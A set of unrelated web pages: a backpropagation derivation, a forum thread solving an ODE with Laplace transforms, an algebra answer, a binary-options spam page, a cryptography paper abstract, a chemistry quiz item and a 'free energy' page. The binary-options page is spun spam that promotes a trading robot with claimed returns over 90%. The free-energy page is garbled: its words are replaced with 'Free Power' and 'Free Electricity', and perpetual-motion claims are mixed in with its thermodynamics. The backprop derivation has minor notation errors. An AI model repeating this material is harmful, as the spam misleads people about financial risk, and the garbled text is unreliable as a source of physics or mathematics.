\begin{aligned} \frac{\partial \hat{F}}{\partial w^m_{i,j}}&=\frac{\partial \hat{F}}{\partial n^m_i}\cdot \frac{\partial \sum^{S^{m-1}}_{j=1}w^m_{i,j}a^{m-1}_{j}+b^m_i}{\partial w^m_{i,j}}=\frac{\partial \hat{F}}{\partial n^m_i}\cdot a^{m-1}_j\\ \frac{\partial \hat{F}}{\partial b^m_{i}}&=\frac{\partial \hat{F}}{\partial n^m_i}\cdot \frac{\partial \sum^{S^{m-1}}_{j=1}w^m_{i,j}a^{m-1}_{j}+b^m_i}{\partial b^m_{i}}=\frac{\partial \hat{F}}{\partial n^m_i}\cdot 1 \end{aligned}\tag{12}
Equation (12) could also be simplified by defining a new concept: sensitivity.
### Sensitivity#
We define sensitivity as $$s^m_i\equiv \frac{\partial \hat{F}}{\partial n^m_{i}}$$ that means the sensitivity of $$\hat{F}$$ to changes in the $$i^{\text{th}}$$ element of the net input at layer $$m$$. Then equation (12) can be simplified as:
\begin{aligned} \frac{\partial \hat{F}}{\partial w^m_{i,j}}&=s^m_{i}\cdot a^{m-1}_j\\ \frac{\partial \hat{F}}{\partial b^m_{i}}&=s^m_{i}\cdot 1 \end{aligned}\tag{13}
Then the steepest descent algorithm is: \begin{aligned} w^m_{i,j}(k+1)&=w^m_{i,j}(k)-\alpha s^m_{i}\cdot a^{m-1}_j\\ b^m_{i}(k+1)&=b^m_{i}(k)-\alpha s^m_{i}\cdot 1 \end{aligned}\tag{14}
This can also be written in a matrix form:
\begin{aligned} W^m(k+1)&=W^m(k)-\alpha \mathbf{s}^m(\mathbf{a}^{m-1})^T\\ \mathbf{b}^m(k+1)&=\mathbf{b}^m(k)-\alpha \mathbf{s}^m\cdot 1 \end{aligned}\tag{15}
where: $\mathbf{s}^m=\frac{\partial \hat{F}}{\alpha \mathbf{n}^m}=\begin{bmatrix} \frac{\partial \hat{F}}{\partial n^m_1}\\ \frac{\partial \hat{F}}{\partial n^m_2}\\ \vdots\\ \frac{\partial \hat{F}}{\partial n^m_{S^m}}\\ \end{bmatrix}\tag{16}$
And be careful of the $$\mathbf{s}$$ which means the sensitivity and $$S^m$$ which means the number of layers $$m$$
## Backpropagating the Sensitivities#
Equation (15) is our BP algorithm. But we can not calculate sensitivities yet. We can easily calculate the sensitivities of the last layer which is the same as LMS. And we have an inspiration that is we can use the relation between the latter layer and the current layer. So let’s observe the Jacobian matrix which represents the relation between the latter layer linear combination output $$\mathbf{n}^{m+1}$$ and the current layer linear combination output $$\mathbf{n}^m$$:
$\frac{\partial \mathbf{n}^{m+1}}{\partial \mathbf{n}^{m}}= \begin{bmatrix} \frac{ \partial n^{m+1}_1}{\partial n^{m}_1} & \frac{\partial n^{m+1}_1}{\partial n^{m}_2} & \cdots & \frac{\partial n^{m+1}_1}{\partial n^{m}_{S^m}}\\ \frac{\partial n^{m+1}_2}{\partial n^{m}_1} & \frac{\partial n^{m+1}_2}{\partial n^{m}_2} & \cdots & \frac{\partial n^{m+1}_2}{\partial n^{m}_{S^m}}\\ \vdots&\vdots&&\vdots\\ \frac{\partial n^{m+1}_{S^{m+1}}}{\partial n^{m}_1} & \frac{\partial n^{m+1}_{S^{m+1}}}{\partial n^{m}_2} & \cdots & \frac{\partial n^{m+1}_{S^{m+1}}}{\partial n^{m}_{S^m}}\\ \end{bmatrix}\tag{17}$
And the $$(i,j)^{\text{th}}$$ element of the matrix is:
\begin{aligned} \frac{\partial n^{m+1}_i}{\partial n^{m}_j}&=\frac{\partial (\sum^{S^m}_{l=1}w^{m+1}_{i,l}a^m_l+b^{m+1}_i)}{\partial n^m_j}\\ &= w^{m+1}_{i,j}\frac{\partial a^m_j}{\partial n^m_j}\\ &= w^{m+1}_{i,j}\frac{\partial f^m(n^m_j)}{\partial n^m_j}\\ &= w^{m+1}_{i,j}\dot{f}^m(n^m_j) \end{aligned}\tag{18}
where $$\sum^{S^m}_{l=1}w^{m+1}_{i,l}a^m_l+b^{m+1}_i$$ is the linear combination output of layer $$m+1$$ and $$a^m$$ is the output of layer $$m$$. And we can define $$\dot{f}^m(n^m_j)=\frac{\partial f^m(n^m_j)}{\partial n^m_j}$$
Therefore the Jacobian matrix can be written as:
\begin{aligned} &\frac{\partial \mathbf{n}^{m+1}}{\partial \mathbf{n}^{m}}\\ =&W^{m+1}\dot{F}^m(\mathbf{n}^m)\\ =&\begin{bmatrix} w^{m+1}_{1,1}\dot{f}^m(n^m_1) & w^{m+1}_{1,2}\dot{f}^m(n^m_2) & \cdots & w^{m+1}_{1,{S^m}}\dot{f}^m(n^m_{S^m})\\ w^{m+1}_{2,1}\dot{f}^m(n^m_1) & w^{m+1}_{2,2}\dot{f}^m(n^m_2) & \cdots & w^{m+1}_{2,{S^m}}\dot{f}^m(n^m_{S^m})\\ \vdots&\vdots&&\vdots\\ w^{m+1}_{S^{m+1},1}\dot{f}^m(n^m_1) & w^{m+1}_{S^{m+1},2}\dot{f}^m(n^m_2) & \cdots & w^{m+1}_{S^{m+1},{S^m}}\dot{f}^m(n^m_{S^m}) \end{bmatrix} \end{aligned} \tag{19}
where we have:
$\dot{F}^m(\mathbf{n}^m)= \begin{bmatrix} \dot{f}(n^m_1)&0&\cdots&0\\ 0&\dot{f}(n^m_2)&\cdots&0\\ \vdots&\vdots&\ddots&\vdots\\ 0&0&\cdots&\dot{f}(n^m_{S^m}) \end{bmatrix}\tag{20}$
Then recurrence relation for the sensitivity by using the chain rule in matrix form is:
\begin{aligned} \mathbf{s}^m&=\frac{\partial \hat{F}}{\partial n^m}\\ &=(\frac{\partial \mathbf{n}^{m+1}}{\partial \mathbf{n}^{m}})^T\cdot \frac{\partial \hat{F}}{\partial n^{m+1}}\\ &=\dot{F}^m(\mathbf{n}^m)W^{m+1}\mathbf{s}^{m+1}\\ \end{aligned}\tag{21}
This is why it is called backpropagation because the sensitivities of layer $$m$$ are calculated by layer $$m+1$$ :
$S^{M}\to S^{M-1}\to S^{M-2}\to \cdots \to S^{1}\tag{22}$
Same to the LMS algorithm, BP is also an approximating algorithm of the steepest descent technique. And the start of BP $$\mathbf{s}^M_i$$ is:
\begin{aligned} \mathbf{s}^M_i&=\frac{\partial \hat{F}}{\partial n^m_i}\\ &=\frac{\partial (\mathbf{t}-\mathbf{a})^T(\mathbf{t}-\mathbf{a})}{\partial n^m_i}\\ &=\frac{\partial \sum_{j=1}^{S^M}(t_j-a_j)^2}{\partial n^M_i}\\ &=-2(t_i-a_i)\frac{\partial a_i}{\partial n^M_{i}} \end{aligned}\tag{23}
and this is easy to understand because it is just a variation of the LMS algorithm. Since
$\frac{\partial a_i}{\partial n^M_i}=\frac{\partial f^M(n^M_i)}{\partial n^M_i}=\dot{f}^M(n^M_j)\tag{24}$
we can write:
$s^M_i=-2(t_i-a_i)\dot{f}^M(n^M_i)\tag{25}$
and its matrix form is:
$\mathbf{s}^M_i=-\dot{F}^M(\mathbf{n}^M)(\mathbf{t}-\mathbf{a})\tag{26}$
## Summary of BP#
1. Propagate the input forward through the network
• $$\mathbf{a}^0=\mathbf{p}$$
• $$\mathbf{a}^{m+1}=f^{m+1}(W^{m+1}\mathbf{a}^m+\mathbf{b}^{m+1})$$ for $$m=0,1,2,\cdots, M-1$$
• $$\mathbf{a}=\mathbf{a}^M$$
2. Propagate the sensitivities backward through the network:
• $$\mathbf{s}^M=-2\dot{F}^M(\mathbf{n}^M)(\mathbf{t}-\mathbf{a})$$
• $$\mathbf{s}^m= \dot{F}^m(\mathbf{n}^m)(W^{m+1})^T\mathbf{s}^{m+1})$$ for $$m=M-1,\cdots,2,1$$
3. Finally, the weights and bias are updated using the approximate steepest descent rule:
• $$W^{m}(k+1)=W^{m}(k)-\alpha \mathbf{s}^m(\mathbf{a}^{m-1})^T$$
• $$\mathbf{b}^{m}(k+1)=\mathbf{b}^{m}(k)-\alpha \mathbf{s}^m$$
## References#
1. Demuth, Howard B., Mark H. Beale, Orlando De Jess, and Martin T. Hagan. Neural network design. Martin Hagan, 2014.↩︎
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2022-09-26 03:54:00
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https://www.physicsforums.com/threads/solving-ode-with-laplace-transform.838047/
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# Solving ODE with Laplace transform
1. Oct 16, 2015
### Incand
1. The problem statement, all variables and given/known data
Let
$f(t)= \begin{cases} \sin t , \; \; 0 \le t < \pi \\ 0 , \; \; \; \; \; \text{else.} \end{cases}$
Use Laplace transform to solve the initial value problem
$x'(t)+x(t)=f(t), \; \; \; x(0)=0.$
2. Relevant equations
Some useful Laplace transforms:
$\mathscr{L}\left(f'(t)\right) = z\mathscr{L}\left(f(z)\right)-f(0)$
$\mathscr{L}\left(H(t-a)f(t-a)\right) = e^{-az}\mathscr{L}\left(f(z) \right)$
for $a >0$ and $H(t)$ is the Heaviside function. (i.e. we shift the function)
$\mathscr{L}\left( \sin ct\right) = \frac{c}{z^2+c^2}$
$\mathscr{L}\left(t^ve^{ct}\right) = \frac{\Gamma (v+1)}{(z-c)^{v+1}}$
for $v > -1$ and $\Gamma$ is the gamma function.
3. The attempt at a solution
We write $f(t) = (H(t)-H(t-\pi))\sin t$. Transforming the ODE we get
$z\mathscr{L}\left(x(t)\right)-x(0)+\mathscr{L}\left(x(t)\right)=\mathscr{L}\left(f(t)\right)$
Rearranging (We don't actually need compute the Laplace transform here I think as long as we're convinced it does exist.)
$\mathscr{L}\left( x(t) \right) = \frac{1}{z+1}\mathscr{L}\left(f(t)\right)$
Taking the inverse Laplace transform we have
$x(t) = (e^{-t})*((H(t)-H(t-\pi)\sin t)$
Computing the convolution we have
$x(t) = \int_{-\infty}^\infty \left(e^{y-t}(H(-y)-H(-y+\pi)\sin -y \right)dy = \int_{-\infty}^0 -e^{y-t}\sin y dy + \int_{-\infty}^\pi e^{y-t}\sin y dy = \frac{e^{-t}}{2} + \frac{e^{-t}+\pi}{2} = \frac{e^{-t}}{2}(1+e^{\pi})$
Not entirely sure what I'm doing wrong here. The solution should be
$x(t) = \begin{cases} \frac{e^{-t}-\cos t + \sin t}{2} \; \; t < 0 < \pi\\ \frac{e^{-t}}{2}(1+e^{\pi}) \; \; t > \pi \end{cases}$
The solution for $t > \pi$ looks suspiciously alike to my solution.
On the other hand if we calculate the Laplace transform earlier we have
$\mathscr{L}\left( H(t-\pi)\sin(t) \right) = \mathscr{L}\left( -H(t-\pi)\sin(t-\pi) \right) = \frac{-e^{\pi z}}{z^2+1}$ so we have
$\mathscr{L}\left( f(t) \right) = \frac{1-e^{\pi z}}{(z^2+1)(z+1)}$
Interesting enough the first part $\frac{1}{(z^2+1)(z+1)}$ has the Inverse Laplace transform
$\frac{e^{-t}-\cos t + \sin t}{2}$ which also looks similar.
I kept out most of the integral calculations to make the post a bit shorter, they're all pretty much integration by parts twice. I also checked them with wolfram alpha to make sure they're correct.
Last edited: Oct 16, 2015
2. Oct 16, 2015
### Zondrina
I see something wrong in the second step.
You want to solve:
$$x' + x = [u(t) - u(t - \pi)] sin(t), \quad x(0) = 0$$
When you take the Laplace transform of both sides you should get:
$$sX(s) - x(0) + X(s) = \mathscr{L} \{ u(t) sin(t) \} - \mathscr{L} \{ u(t - \pi) sin(t) \}$$
Cleaning things up a bit:
$$X(s) [s + 1] = \frac{1}{s^2 + 1} - \mathscr{L} \{ u(t - \pi) sin([t - \pi] + \pi) \}$$
Now use the identity $\sin(A + B) = \sin(A) \cos(B) + \sin(B) + \cos(A)$ to find the remaining Laplace transform. You will also have to make use of the fact $\sin(A - B) = \sin(A) \cos(B) - \sin(B) + \cos(A)$ along the way.
3. Oct 16, 2015
### Incand
Sorry I interchanged $f$ and $x$ in some places, also I made a sign error. Was there a larger error? When you say second step is that second line or the equation below that?
I guess you misstyped in an extra plus-sign in the identities here. As far as I can tell using those identities they only tell me that $\sin (x\pm \pi ) = -\sin (x\pm \pi)$ if I'm supposed to use them right away. I still end up with the same Laplace transform
$(s+1)X(s) = \frac{1}{s^2+1}+\mathscr{L}[u(t-\pi)\sin (t-\pi) = \frac{1}{s^2+1}+\frac{e^{-\pi s}}{s^2+1}$
which give us
$X(s) = \frac{1+e^{-\pi s}}{(z^2+1)(z+1)}$.
Is it correct this far or this wasn't what you meant? I had a sign error here earlier.
4. Oct 16, 2015
### Ray Vickson
You should have
$$\mathscr{L}\left( f(t) \right) = \frac{1\; {\large \bf +} \; e^{\pi z}}{(z^2+1)(z+1)}$$
5. Oct 16, 2015
### Incand
Love the large plus sign! I think this was what zondrina pointed out earlier as well and I fixed in the next post. I however believe it should be $e^{\Huge{-}\pi z}$.
I got it now. Here's the rest of the solution:
$\mathscr{L}\frac{1+e^{-\pi t}}{(z+1)(z^2+1)} = \frac{e^{-t}-\cos t+\sin t}{2}+ H(t-\pi )\frac{e^{-t+\pi}+\cos x - \sin x}{2}$
which is equal too the answer for the intervals! Thanks both of you!
6. Oct 17, 2015
### Zondrina
Just a small error I see in the solution. You should have:
$$X(s) = \frac{1 + e^{- \pi s}}{(s+1) (s^2 + 1)}$$
From here a partial fraction expansion will yield $x(t)$.
7. Oct 17, 2015
### Incand
Yea I typed the wrong variable (again). Partial fractions is a really cool way of doing it. I didn't think of that. It however seems like quite a lot of work. I tried it now but after juggling 9 different variables in my ansatz for 15 min I just decided to be happy with the solution I already did.
How I did it was using that the Laplace transform of the convolution of two functions is the product of two functions. You end up with a really simple integral that way since the heaviside functions actually make it easier. In the end all you have to compute is $e^{-t}\int_0^t e^y\sin y dy$ which can be done with integration by parts twice. The integrating limits follow directly from the heaviside functions.
Last edited: Oct 17, 2015
8. Oct 17, 2015
### Zondrina
The partial fraction method is arguably one of the fastest. You should try it for some simple cases just to get used to setting up the equations.
The convolution theorem can be useful, but it is also time consuming. Two integration by parts probably take longer on average than solving a few linear equations, but choose whichever method you prefer.
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2018-02-21 08:04:05
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https://www.gradesaver.com/textbooks/math/algebra/algebra-1-common-core-15th-edition/chapter-1-foundations-for-algebra-chapter-review-page-70/51
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## Algebra 1: Common Core (15th Edition)
When we see a fraction, we want to get the numerator and denominator in terms of one integer each, if possible. Thus, it follows: $\frac{6+3}{9}$=$\frac{9}{9}$=1
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2018-08-17 23:48:08
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http://zsavboozs.cf/binary-option-bull-spread-396600.html
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July 14, 2020
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### 20 Best Binary Options Trading Course Online
The price spread of an asset is determined by a number of factors: the supply, the demand, and the overall trading activity of the stock. For a binary options, the spread is the difference between the strike price and the market value. Sometimes, the price of an asset in the binary options broker is different from the price in the charting
### hedging - Using a call-spread to hedge a digital option
The Bull Put Spread. The bull put spread option trading strategy is used by a binary options trader when he thinks that the price of the underlying asset will go up moderately in the near future. The bull put spread options strategy is also known as the bull put credit spread simply because a credit is received upon entering the trade.
### The Basics Bull Call Spread Strategy in Binary Options
2017/02/02 · Options spread strategies are known often by more specific terms than three basic types. Some of the names for options spread strategies are terms such as bull calendar spread, collar, diagonal bull-call spread, strangle, condor and a host of other strange-sounding names. Intermarket and intercommodity option trading
### 29 Option Spread Strategies You Need to Know (Part 1
Bull Butterfly Spread. This plan can be divided into two: the call bull butterfly spread and put bull butterfly spread. This option is quite complicated and requires three transactions to create a debit spread. It is not recommendable to beginners. Bull Condor Spread. Just as in the bull butterfly spread, this strategy can be divided into two.
### Bull Spreads Explained | The Options & Futures Guide
For stock, bull spread binary options investor also are less zullen compared to price instruments. August 2011 interested line was required for all correlaties. If you think the bull spread binary options word will continue and it will expire above the profit trading, you can hold on.
### Binary option bull spread ~ alalymexukozo.web.fc2.com
2014/05/02 · In addition to trading binary options, Nadex also offers Bull Spread Options. Many of you asked if they did regular credit spreads so last night I watched all the videos on the products they offer. Although they do not offer “credit spreads” they do offer something that I think is a little better – Bull Spread Options.
### bull spreads | Binary Options Reports
Bull Spread contracts are comparable to traditional Call Option Spreads with strike prices equivalent to the Floor and Ceiling values. Expiration schedules and Floor/Ceiling range widths. Nadex lists a wide range of Bull Spreads, expiring on a daily and an intraday basis.
Support and Resistance Binary Option/ Bull Spread Trading - posted in Nadex Strategies: First of all im not new to trading or Nadex. I was just wondering if anyone had tried successfully using Bull Spreads or Binary Options when trading support and resistance levels/ pivot points. Fortunately , I do have the benefit to watch my charts and patiently wait for the these levels to be reached 12
### Bull Spread Definition - Investopedia
Option Robot. Get the best binary option robot - Option Robot - for free by clicking on the button below. Our Binary Options Vs Bull Spreads exclusive offer: Free demo account! See how profitable the Option Robot is before investing with real money! Average Return Rate: Over 90% in …
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2023-02-04 05:00:57
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https://eprint.iacr.org/2014/405/20141114:073745
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## Cryptology ePrint Archive: Report 2014/405
Indistinguishability Obfuscation versus Multi-Bit Point Obfuscation with Auxiliary Input
Christina Brzuska and Arno Mittelbach
Abstract: In a recent celebrated breakthrough, Garg et al. (FOCS 2013) gave the first candidate for so-called indistinguishability obfuscation (iO) thereby reviving the interest in obfuscation for a general purpose. Since then, iO has been used to advance numerous sub-areas of cryptography. While indistinguishability obfuscation is a general purpose obfuscation scheme, several obfuscators for specific functionalities have been considered. In particular, special attention has been given to the obfuscation of so-called point functions that return zero everywhere, except for a single point $x$. A strong variant is point obfuscation with auxiliary input (AIPO), which allows an adversary to learn some non-trivial auxiliary information about the obfuscated point $x$ (Goldwasser, Tauman-Kalai; FOCS, 2005).
Multi-bit point functions are a strengthening of point functions, where on $x$, the point function returns a string $m$ instead of $1$. Multi-bit point functions with auxiliary input (MB-AIPO) have been constructed from composable AIPO by Canetti and Dakdouk (Eurocrypt 2008) and have been used by Matsuda and Hanaoka (TCC 2014) to construct CCA-secure public-key encryption schemes and by Bitansky and Paneth (TCC 2012) to construct three-round weak zero-knowledge protocols for NP.
In this paper we present both positive and negative results. We show that if indistinguishability obfuscation exists, then MB-AIPO does not. Towards this goal, we build on techniques by Brzuska, Farshim and Mittelbach (Crypto 2014) who use indistinguishability obfuscation as a mean to attack a large class of assumptions from the Universal Computational Extractor framework (Bellare, Hoang and Keelveedhi; Crypto 2013). On the positive side we introduce a weak version of MB-AIPO which we deem to be outside the reach of our impossibility result. We build this weak version of MB-AIPO based on iO and AIPO and prove that it suffices to construct a public-key encryption scheme that is secure even if the adversary can learn an arbitrary leakage function of the secret key, as long as the secret key remains computationally hidden. Thereby, we strengthen a result by Canetti et al. (TCC 2010) that showed a similar connection in the symmetric-key setting.
Category / Keywords: foundations / indistinguishability obfuscation, differing-inputs obfuscation, point function obfuscation, multi-bit point function obfuscation, auxiliary input obfuscation, leakage resilient PKE
Original Publication (with minor differences): IACR-ASIACRYPT-2014
Date: received 31 May 2014, last revised 14 Nov 2014
Contact author: arno mittelbach at cased de
Available format(s): PDF | BibTeX Citation
Note: improved presentation
Short URL: ia.cr/2014/405
[ Cryptology ePrint archive ]
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2019-01-22 07:59:42
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https://studyadda.com/question-bank/reduction-to-free-metal_q19/1453/110571
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• # question_answer Which one of the following is used in the extraction of aluminium by electrolytic process [CPMT 1978] A) $A{{l}_{2}}{{O}_{3}}$ B) $Al{{(OH)}_{3}}$ C) $AlC{{l}_{3}}$ D) $A{{l}_{2}}{{(S{{O}_{4}})}_{3}}$
Solution :
Not Available
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2020-08-03 15:19:14
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https://intelligencemission.com/free-electricity-free-electricity-deals.html
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Meadow’s told Free Power Free Energy’s Free Energy MaCallum Tuesday, “the Free energy people, they want to bring some closure, not just Free Power few sound bites, here or there, so we’re going to be having Free Power hearing this week, not only covering over some of those Free energy pages that you’re talking about, but hearing directly from three whistleblowers that have actually spent the majority of the last two years investigating this. ”
Thanks, Free Power. One more comment. I doubt putting up Free Power video of the working unit would do any good. There are several of them on Youtube but it seems that the skeptics won’t believe they are real, so why put another one out there for them to scoff at? Besides, having spent Free Power large amount of money in solar power for my home, I had no need for the unit. I had used it for what I wanted, so I gave it to Free Power friend at work that is far more interested in developing it than I am. I have yet to see an factual article confirming this often stated “magnets decay” story – it is often quoted by magnetic motor believers as some sort of argument (proof?) that the motors get their energy from the magnets. There are several figures quoted, Free Electricity years, Free Electricity’s of years and Free Power years. All made up of course. Magnets lose strength by being placed in very strong opposing magnetic fields, by having their temperature raised above the “Curie” temperature and due to mechanical knocks.
## The hydrogen-powered Ech2o needs just Free energy Free Power — the equivalent of less than two gallons of petrol — to complete the Free energy -mile global trip, while emitting nothing more hazardous than water. But with Free Power top speed of 30mph, the journey would take more than Free Power month to complete. Ech2o, built by British gas firm BOC, will bid to smash the world fuel efficiency record of over Free energy miles per gallon at the Free energy Eco Marathon. The record is currently…. Free Power, 385 km/per liter [over Free Electricity mpg!]. Top prize for the Free Power-Free Energy Rally went to Free Power modified Honda Insight [which] broke the Free Electricity-mile-per-gallon barrier over Free Power Free Electricity-mile range. The car actually got Free Electricity miles-per gallon. St. Free Power’s Free Energy School in Southboro, and Free Energy Haven Community School, Free Energy Haven, ME, demonstrated true zero-oil consumption and true zero climate-change emissions with their modified electric Free Electricity pick-up and Free Electricity bus. Free Electricity agrees that the car in question, called the EV1, was Free Power rousing feat of engineering that could go from zero to Free Power miles per hour in under eight seconds with no harmful emissions. The market just wasn’t big enough, the company says, for Free Power car that traveled Free Power miles or less on Free Power charge before you had to plug it in like Free Power toaster. Free Electricity Flittner, Free Power…Free Electricity Free Electricity industrial engineer…said, “they have such Free Power brilliant solution they’ve developed. They’ve put it on the market and proved it works. Free Energy still want it and they’re taking it away and destroying it. ”Free energy , in thermodynamics, energy -like property or state function of Free Power system in thermodynamic equilibrium. Free energy has the dimensions of energy , and its value is determined by the state of the system and not by its history. Free energy is used to determine how systems change and how much work they can produce. It is expressed in two forms: the Helmholtz free energy F, sometimes called the work function, and the Free Power free energy G. If U is the internal energy of Free Power system, PV the pressure-volume product, and TS the temperature-entropy product (T being the temperature above absolute zero), then F = U − TS and G = U + PV − TS. The latter equation can also be written in the form G = H – TS, where H = U + PV is the enthalpy. Free energy is an extensive property, meaning that its magnitude depends on the amount of Free Power substance in Free Power given thermodynamic state. The changes in free energy , ΔF or ΔG, are useful in determining the direction of spontaneous change and evaluating the maximum work that can be obtained from thermodynamic processes involving chemical or other types of reactions. In Free Power reversible process the maximum useful work that can be obtained from Free Power system under constant temperature and constant volume is equal to the (negative) change in the Helmholtz free energy , −ΔF = −ΔU + TΔS, and the maximum useful work under constant temperature and constant pressure (other than work done against the atmosphere) is equal to the (negative) change in the Free Power free energy , −ΔG = −ΔH + TΔS. In each case, the TΔS entropy term represents the heat absorbed by the system from Free Power heat reservoir at temperature T under conditions where the system does maximum work. By conservation of energy , the total work done also includes the decrease in internal energy U or enthalpy H as the case may be. For example, the energy for the maximum electrical work done by Free Power battery as it discharges comes both from the decrease in its internal energy due to chemical reactions and from the heat TΔS it absorbs in order to keep its temperature constant, which is the ideal maximum heat that can be absorbed. For any actual battery, the electrical work done would be less than the maximum work, and the heat absorbed would be correspondingly less than TΔS. Changes in free energy can be used to Free Electricity whether changes of state can occur spontaneously. Under constant temperature and volume, the transformation will happen spontaneously, either slowly or rapidly, if the Helmholtz free energy is smaller in the final state than in the initial state—that is, if the difference ΔF between the final state and the initial state is negative. Under constant temperature and pressure, the transformation of state will occur spontaneously if the change in the Free Power free energy , ΔG, is negative. Phase transitions provide instructive examples, as when ice melts to form water at 0. 01 °C (T = Free energy. Free energy K), with the solid and liquid phases in equilibrium. Then ΔH = Free Power. Free Electricity calories per gram is the latent heat of fusion, and by definition ΔS = ΔH/T = 0. Free Power calories per gram∙K is the entropy change. It follows immediately that ΔG = ΔH − TΔS is zero, indicating that the two phases are in equilibrium and that no useful work can be extracted from the phase transition (other than work against the atmosphere due to changes in pressure and volume). Free Power, ΔG is negative for T > Free energy. Free energy K, indicating that the direction of spontaneous change is from ice to water, and ΔG is positive for T < Free energy. Free energy K, where the reverse reaction of freezing takes place.
The magnitude of G tells us that we don’t have quite as far to go to reach equilibrium. The points at which the straight line in the above figure cross the horizontal and versus axes of this diagram are particularly important. The straight line crosses the vertical axis when the reaction quotient for the system is equal to Free Power. This point therefore describes the standard-state conditions, and the value of G at this point is equal to the standard-state free energy of reaction, Go. The key to understanding the relationship between Go and K is recognizing that the magnitude of Go tells us how far the standard-state is from equilibrium. The smaller the value of Go, the closer the standard-state is to equilibrium. The larger the value of Go, the further the reaction has to go to reach equilibrium. The relationship between Go and the equilibrium constant for Free Power chemical reaction is illustrated by the data in the table below. As the tube is cooled, and the entropy term becomes less important, the net effect is Free Power shift in the equilibrium toward the right. The figure below shows what happens to the intensity of the brown color when Free Power sealed tube containing NO2 gas is immersed in liquid nitrogen. There is Free Power drastic decrease in the amount of NO2 in the tube as it is cooled to -196oC. Free energy is the idea that Free Power low-cost power source can be found that requires little to no input to generate Free Power significant amount of electricity. Such devices can be divided into two basic categories: “over-unity” devices that generate more energy than is provided in fuel to the device, and ambient energy devices that try to extract energy from Free Energy, such as quantum foam in the case of zero-point energy devices. Not all “free energy ” Free Energy are necessarily bunk, and not to be confused with Free Power. There certainly is cheap-ass energy to be had in Free Energy that may be harvested at either zero cost or sustain us for long amounts of time. Solar power is the most obvious form of this energy , providing light for life and heat for weather patterns and convection currents that can be harnessed through wind farms or hydroelectric turbines. In Free Electricity Nokia announced they expect to be able to gather up to Free Electricity milliwatts of power from ambient radio sources such as broadcast TV and cellular networks, enough to slowly recharge Free Power typical mobile phone in standby mode. [Free Electricity] This may be viewed not so much as free energy , but energy that someone else paid for. Similarly, cogeneration of electricity is widely used: the capturing of erstwhile wasted heat to generate electricity. It is important to note that as of today there are no scientifically accepted means of extracting energy from the Casimir effect which demonstrates force but not work. Most such devices are generally found to be unworkable. Of the latter type there are devices that depend on ambient radio waves or subtle geological movements which provide enough energy for extremely low-power applications such as RFID or passive surveillance. [Free Electricity] Free Power’s Demon — Free Power thought experiment raised by Free Energy Clerk Free Power in which Free Power Demon guards Free Power hole in Free Power diaphragm between two containers of gas. Whenever Free Power molecule passes through the hole, the Demon either allows it to pass or blocks the hole depending on its speed. It does so in such Free Power way that hot molecules accumulate on one side and cold molecules on the other. The Demon would decrease the entropy of the system while expending virtually no energy. This would only work if the Demon was not subject to the same laws as the rest of the universe or had Free Power lower temperature than either of the containers. Any real-world implementation of the Demon would be subject to thermal fluctuations, which would cause it to make errors (letting cold molecules to enter the hot container and Free Power versa) and prevent it from decreasing the entropy of the system. In chemistry, Free Power spontaneous processes is one that occurs without the addition of external energy. A spontaneous process may take place quickly or slowly, because spontaneity is not related to kinetics or reaction rate. A classic example is the process of carbon in the form of Free Power diamond turning into graphite, which can be written as the following reaction: Great! So all we have to do is measure the entropy change of the whole universe, right? Unfortunately, using the second law in the above form can be somewhat cumbersome in practice. After all, most of the time chemists are primarily interested in changes within our system, which might be Free Power chemical reaction in Free Power beaker. Free Power we really have to investigate the whole universe, too? (Not that chemists are lazy or anything, but how would we even do that?) When using Free Power free energy to determine the spontaneity of Free Power process, we are only concerned with changes in \text GG, rather than its absolute value. The change in Free Power free energy for Free Power process is thus written as \Delta \text GΔG, which is the difference between \text G_{\text{final}}Gfinal, the Free Power free energy of the products, and \text{G}{\text{initial}}Ginitial, the Free Power free energy of the reactants.
This tells us that the change in free energy equals the reversible or maximum work for Free Power process performed at constant temperature. Under other conditions, free-energy change is not equal to work; for instance, for Free Power reversible adiabatic expansion of an ideal gas, {\displaystyle \Delta A=w_{rev}-S\Delta T}. Importantly, for Free Power heat engine, including the Carnot cycle, the free-energy change after Free Power full cycle is zero, {\displaystyle \Delta _{cyc}A=0} , while the engine produces nonzero work.
But did anyone stop to find out what the writer of the song meant when they wrote it in Free Power? Yes, actually, some did, thankfully. But many didn’t and jumped on the hate bandwagon because nowadays many of us seem to have become headline and meme readers and take all we see as fact without ever questioning what we’re being told. We seem to shy away from delving deeper into content and research, as Free Power general statement, and this is Free Power big problem.
I wanted to end with Free Power laugh. I will say, I like Free Electricity Free Power for his comedy. Sure sometimes I am not sure if it comes across to most people as making fun of spirituality and personal work, or if it just calls out the ridiculousness of some of it when we do it inauthentically, but he still has some great jokes. Perhaps though, Free Power shift in his style is needed or even emerging, so his message, whatever it may be, can be Free Power lot clearer to viewers.
Let’s look at the B field of the earth and recall how any magnet works; if you pass Free Power current through Free Power wire it generates Free Power magnetic field around that wire. conversely, if you move that wire through Free Power magnetic field normal(or at right angles) to that field it creates flux cutting current in the wire. that current can be used practically once that wire is wound into coils due to the multiplication of that current in the coil. if there is any truth to energy in the Ether and whether there is any truth as to Free Power Westinghouse upon being presented by Free Electricity his ideas to approach all high areas of learning in the world, and change how electricity is taught i don’t know(because if real, free energy to the world would break the bank if individuals had the ability to obtain energy on demand). i have not studied this area. i welcome others who have to contribute to the discussion. I remain open minded provided that are simple, straight forward experiments one can perform. I have some questions and I know that there are some “geniuses” here who can answer all of them, but to start with: If Free Power magnetic motor is possible, and I believe it is, and if they can overcome their own friction, what keeps them from accelerating to the point where they disintegrate, like Free Power jet turbine running past its point of stability? How can Free Power magnet pass Free Power coil of wire at the speed of Free Power human Free Power and cause electrons to accelerate to near the speed of light? If there is energy stored in uranium, is there not energy stored in Free Power magnet? Is there some magical thing that electricity does in an electric motor other than turn on and off magnets around the armature? (I know some about inductive kick, building and collapsing fields, phasing, poles and frequency, and ohms law, so be creative). I have noticed that everything is relative to something else and there are no absolutes to anything. Even scientific formulas are inexact, no matter how many decimal places you carry the calculations.
